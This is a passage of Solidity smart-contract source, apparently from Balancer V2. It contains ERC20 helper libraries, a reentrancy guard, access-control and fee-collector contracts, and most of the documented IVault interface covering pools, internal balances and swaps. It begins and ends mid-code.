/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * * WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert. */ function _callOptionalReturn(address token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. (bool success, bytes memory returndata) = token.call(data); // If the low-level call didn't succeed we return whatever was returned from it. assembly { if eq(success, 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } // Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs _require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED); } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _enterNonReentrant(); _; _exitNonReentrant(); } function _enterNonReentrant() private { // On the first call to nonReentrant, _status will be _NOT_ENTERED _require(_status != _ENTERED, Errors.REENTRANCY); // Any calls to nonReentrant after this point will fail _status = _ENTERED; } function _exitNonReentrant() private { // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } interface IAuthentication { /** * @dev Returns the action identifier associated with the external function described by `selector`. */ function getActionId(bytes4 selector) external view returns (bytes32); } /** * @dev Building block for performing access control on external functions. * * This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied * to external functions to only make them callable by authorized accounts. * * Derived contracts must implement the `_canPerform` function, which holds the actual access control logic. */ abstract contract Authentication is IAuthentication { bytes32 private immutable _actionIdDisambiguator; /** * @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in * multi contract systems. * * There are two main uses for it: * - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers * unique. The contract's own address is a good option. * - if the contract belongs to a family that shares action identifiers for the same functions, an identifier * shared by the entire family (and no other contract) should be used instead. */ constructor(bytes32 actionIdDisambiguator) { _actionIdDisambiguator = actionIdDisambiguator; } /** * @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions. */ modifier authenticate() { _authenticateCaller(); _; } /** * @dev Reverts unless the caller is allowed to call the entry point function. */ function _authenticateCaller() internal view { bytes32 actionId = getActionId(msg.sig); _require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED); } function getActionId(bytes4 selector) public view override returns (bytes32) { // Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the // function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of // multiple contracts. return keccak256(abi.encodePacked(_actionIdDisambiguator, selector)); } function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool); } library InputHelpers { function ensureInputLengthMatch(uint256 a, uint256 b) internal pure { _require(a == b, Errors.INPUT_LENGTH_MISMATCH); } function ensureInputLengthMatch( uint256 a, uint256 b, uint256 c ) internal pure { _require(a == b && b == c, Errors.INPUT_LENGTH_MISMATCH); } function ensureArrayIsSorted(IAsset[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(IERC20[] memory array) internal pure { address[] memory addressArray; // solhint-disable-next-line no-inline-assembly assembly { addressArray := array } ensureArrayIsSorted(addressArray); } function ensureArrayIsSorted(address[] memory array) internal pure { if (array.length < 2) { return; } address previous = array[0]; for (uint256 i = 1; i < array.length; ++i) { address current = array[i]; _require(previous < current, Errors.UNSORTED_ARRAY); previous = current; } } } /** * @dev This an auxiliary contract to the Vault, deployed by it during construction. It offloads some of the tasks the * Vault performs to reduce its overall bytecode size. * * The current values for all protocol fee percentages are stored here, and any tokens charged as protocol fees are * sent to this contract, where they may be withdrawn by authorized entities. All authorization tasks are delegated * to the Vault's own authorizer. */ contract ProtocolFeesCollector is Authentication, ReentrancyGuard { using SafeERC20 for IERC20; // Absolute maximum fee percentages (1e18 = 100%, 1e16 = 1%). uint256 private constant _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE = 50e16; // 50% uint256 private constant _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE = 1e16; // 1% IVault public immutable vault; // All fee percentages are 18-decimal fixed point numbers. // The swap fee is charged whenever a swap occurs, as a percentage of the fee charged by the Pool. These are not // actually charged on each individual swap: the `Vault` relies on the Pools being honest and reporting fees due // when users join and exit them. uint256 private _swapFeePercentage; // The flash loan fee is charged whenever a flash loan occurs, as a percentage of the tokens lent. uint256 private _flashLoanFeePercentage; event SwapFeePercentageChanged(uint256 newSwapFeePercentage); event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage); constructor(IVault _vault) // The ProtocolFeesCollector is a singleton, so it simply uses its own address to disambiguate action // identifiers. Authentication(bytes32(uint256(address(this)))) { vault = _vault; } function withdrawCollectedFees( IERC20[] calldata tokens, uint256[] calldata amounts, address recipient ) external nonReentrant authenticate { InputHelpers.ensureInputLengthMatch(tokens.length, amounts.length); for (uint256 i = 0; i < tokens.length; ++i) { IERC20 token = tokens[i]; uint256 amount = amounts[i]; token.safeTransfer(recipient, amount); } } function setSwapFeePercentage(uint256 newSwapFeePercentage) external authenticate { _require(newSwapFeePercentage <= _MAX_PROTOCOL_SWAP_FEE_PERCENTAGE, Errors.SWAP_FEE_PERCENTAGE_TOO_HIGH); _swapFeePercentage = newSwapFeePercentage; emit SwapFeePercentageChanged(newSwapFeePercentage); } function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external authenticate { _require( newFlashLoanFeePercentage <= _MAX_PROTOCOL_FLASH_LOAN_FEE_PERCENTAGE, Errors.FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH ); _flashLoanFeePercentage = newFlashLoanFeePercentage; emit FlashLoanFeePercentageChanged(newFlashLoanFeePercentage); } function getSwapFeePercentage() external view returns (uint256) { return _swapFeePercentage; } function getFlashLoanFeePercentage() external view returns (uint256) { return _flashLoanFeePercentage; } function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts) { feeAmounts = new uint256[](tokens.length); for (uint256 i = 0; i < tokens.length; ++i) { feeAmounts[i] = tokens[i].balanceOf(address(this)); } } function getAuthorizer() external view returns (IAuthorizer) { return _getAuthorizer(); } function _canPerform(bytes32 actionId, address account) internal view override returns (bool) { return _getAuthorizer().canPerform(actionId, account, address(this)); } function _getAuthorizer() internal view returns (IAuthorizer) { return vault.getAuthorizer(); } } interface IFlashLoanRecipient { /** * @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient. * * At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this * call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the * Vault, or else the entire flash loan will revert. * * `userData` is the same value passed in the `IVault.flashLoan` call. */ function receiveFlashLoan( IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData ) external; } /** * @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero * address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like * types. * * This concept is unrelated to a Pool's Asset Managers. */ interface IAsset { // solhint-disable-previous-line no-empty-blocks } interface IAuthorizer { /** * @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`. */ function canPerform( bytes32 actionId, address account, address where ) external view returns (bool); } /** * @dev Interface for the TemporarilyPausable helper. */ interface ITemporarilyPausable { /** * @dev Emitted every time the pause state changes by `_setPaused`. */ event PausedStateChanged(bool paused); /** * @dev Returns the current paused state. */ function getPausedState() external view returns ( bool paused, uint256 pauseWindowEndTime, uint256 bufferPeriodEndTime ); } /** * @dev Interface for the SignatureValidator helper, used to support meta-transactions. */ interface ISignaturesValidator { /** * @dev Returns the EIP712 domain separator. */ function getDomainSeparator() external view returns (bytes32); /** * @dev Returns the next nonce used by an address to sign messages. */ function getNextNonce(address user) external view returns (uint256); } /** * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that * don't override one of these declarations. */ interface IVault is ISignaturesValidator, ITemporarilyPausable { // Generalities about the Vault: // // - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are // transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling // `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by // calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning // a boolean value: in these scenarios, a non-reverting call is assumed to be successful. // // - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g. // while execution control is transferred to a token contract during a swap) will result in a revert. View // functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results. // Contracts calling view functions in the Vault must make sure the Vault has not already been entered. // // - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools. // Authorizer // // Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists // outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller // can perform a given action. /** * @dev Returns the Vault's Authorizer. */ function getAuthorizer() external view returns (IAuthorizer); /** * @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this. * * Emits an `AuthorizerChanged` event. */ function setAuthorizer(IAuthorizer newAuthorizer) external; /** * @dev Emitted when a new authorizer is set by `setAuthorizer`. */ event AuthorizerChanged(IAuthorizer indexed newAuthorizer); // Relayers // // Additionally, it is possible for an account to perform certain actions on behalf of another one, using their // Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions, // and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield // this power, two things must occur: // - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This // means that Balancer governance must approve each individual contract to act as a relayer for the intended // functions. // - Each user must approve the relayer to act on their behalf. // This double protection means users cannot be tricked into approving malicious relayers (because they will not // have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised // Authorizer or governance drain user funds, since they would also need to be approved by each individual user. /** * @dev Returns true if `user` has approved `relayer` to act as a relayer for them. */ function hasApprovedRelayer(address user, address relayer) external view returns (bool); /** * @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise. * * Emits a `RelayerApprovalChanged` event. */ function setRelayerApproval( address sender, address relayer, bool approved ) external; /** * @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`. */ event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved); // Internal Balance // // Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later // transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination // when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced // gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users. // // Internal Balance management features batching, which means a single contract call can be used to perform multiple // operations of different kinds, with different senders and recipients, at once. /** * @dev Returns `user`'s Internal Balance for a set of tokens. */ function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory); /** * @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer) * and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as * it lets integrators reuse a user's Vault allowance. * * For each operation, if the caller is not `sender`, it must be an authorized relayer for them. */ function manageUserBalance(UserBalanceOp[] memory ops) external payable; /** * @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received without manual WETH wrapping or unwrapping. */ struct UserBalanceOp { UserBalanceOpKind kind; IAsset asset; uint256 amount; address sender; address payable recipient; } // There are four possible operations in `manageUserBalance`: // // - DEPOSIT_INTERNAL // Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding // `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`. // // ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped // and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is // relevant for relayers). // // Emits an `InternalBalanceChanged` event. // // // - WITHDRAW_INTERNAL // Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`. // // ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send // it to the recipient as ETH. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_INTERNAL // Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`. // // Reverts if the ETH sentinel value is passed. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_EXTERNAL // Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by // relayers, as it lets them reuse a user's Vault allowance. // // Reverts if the ETH sentinel value is passed. // // Emits an `ExternalBalanceTransfer` event. enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL } /** * @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through * interacting with Pools using Internal Balance. * * Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH * address. */ event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta); /** * @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account. */ event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount); // Pools // // There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced // functionality: // // - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the // balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads), // which increase with the number of registered tokens. // // - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the // balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted // constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are // independent of the number of registered tokens. // // - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like // minimal swap info Pools, these are called via IMinimalSwapInfoPool. enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN } /** * @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which * is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be * changed. * * The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`, * depending on the chosen specialization setting. This contract is known as the Pool's contract. * * Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words, * multiple Pools may share the same contract. * * Emits a `PoolRegistered` event. */ function registerPool(PoolSpecialization specialization) external returns (bytes32); /** * @dev Emitted when a Pool is registered by calling `registerPool`. */ event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization); /** * @dev Returns a Pool's contract address and specialization setting. */ function getPool(bytes32 poolId) external view returns (address, PoolSpecialization); /** * @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens, * exit by receiving registered tokens, and can only swap registered tokens. * * Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length * of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in * ascending order. * * The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset * Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`, * depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore * expected to be highly secured smart contracts with sound design principles, and the decision to register an * Asset Manager should not be made lightly. * * Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset * Manager is set, it cannot be changed except by deregistering the associated token and registering again with a * different Asset Manager. * * Emits a `TokensRegistered` event. */ function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external; /** * @dev Emitted when a Pool registers tokens by calling `registerTokens`. */ event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers); /** * @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total * balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens * must be deregistered in the same `deregisterTokens` call. * * A deregistered token can be re-registered later on, possibly with a different Asset Manager. * * Emits a `TokensDeregistered` event. */ function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external; /** * @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`. */ event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens); /** * @dev Returns detailed information for a Pool's registered token. * * `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens * withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token` * equals the sum of `cash` and `managed`. * * Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`, * `managed` or `total` balance to be greater than 2^112 - 1. * * `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a * join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for * example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a * change for this purpose, and will update `lastChangeBlock`. * * `assetManager` is the Pool's token Asset Manager. */ function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); /** * @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of * the tokens' `balances` changed. * * The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all * Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order. * * If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same * order as passed to `registerTokens`. * * Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are * the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo` * instead. */ function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); /** * @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will * trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized * Pool shares. * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount * to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces * these maximums. * * If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable * this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the * WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent * back to the caller (not the sender, which is important for relayers). * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be * sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final * `assets` array might not be sorted. Pools with no registered tokens cannot be joined. * * If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only * be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be * withdrawn from Internal Balance: attempting to do so will trigger a revert. * * This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed * directly to the Pool's contract, as is `recipient`. * * Emits a `PoolBalanceChanged` event. */ function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } /** * @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will * trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized * Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see * `getPoolTokenInfo`). * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum * token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault: * it just enforces these minimums. * * If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To * enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead * of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit. * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must * be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the * final `assets` array might not be sorted. Pools with no registered tokens cannot be exited. * * If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise, * an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to * do so will trigger a revert. * * `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the * `tokens` array. This array must match the Pool's registered tokens. * * This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and * passed directly to the Pool's contract. * * Emits a `PoolBalanceChanged` event. */ function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } /** * @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively. */ event PoolBalanceChanged( bytes32 indexed poolId, address indexed liquidityProvider, IERC20[] tokens, int256[] deltas, uint256[] protocolFeeAmounts ); enum PoolBalanceChangeKind { JOIN, EXIT } // Swaps // // Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this, // they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be // aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote. // // The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence. // In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'), // and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out'). // More complex swaps, such as one token in to multiple tokens out can be achieved by batching together // individual swaps. // // There are two swap kinds: // - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the // `onSwap` hook) the amount of tokens out (to send to the recipient). // - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines // (via the `onSwap` hook) the amount of tokens in (to receive from the sender). // // Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with // the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated // tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended // swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at // the final intended token. // // In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal // Balance) after all individual swaps have been completed, and the net token balance change computed. This makes // certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost // much less gas than they would otherwise. // // It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple // Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only // updating the Pool's internal accounting). // // To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token // involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the // minimum amount of tokens to receive (by passing a negative value) is specified. // // Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after // this point in time (e.g. if the transaction failed to be included in a block promptly). // // If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do // the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be // passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the // same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers). // // Finally, Internal Balance can be used when either sending or receiving tokens. enum SwapKind { GIVEN_IN, GIVEN_OUT } /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external payable returns (uint256); /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev Emitted for each individual swap performed by `swap` or `batchSwap`. */ event Swap( bytes32 indexed poolId, IERC20 indexed tokenIn, IERC20 indexed tokenOut, uint256 amountIn, uint256 amountOut ); /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If 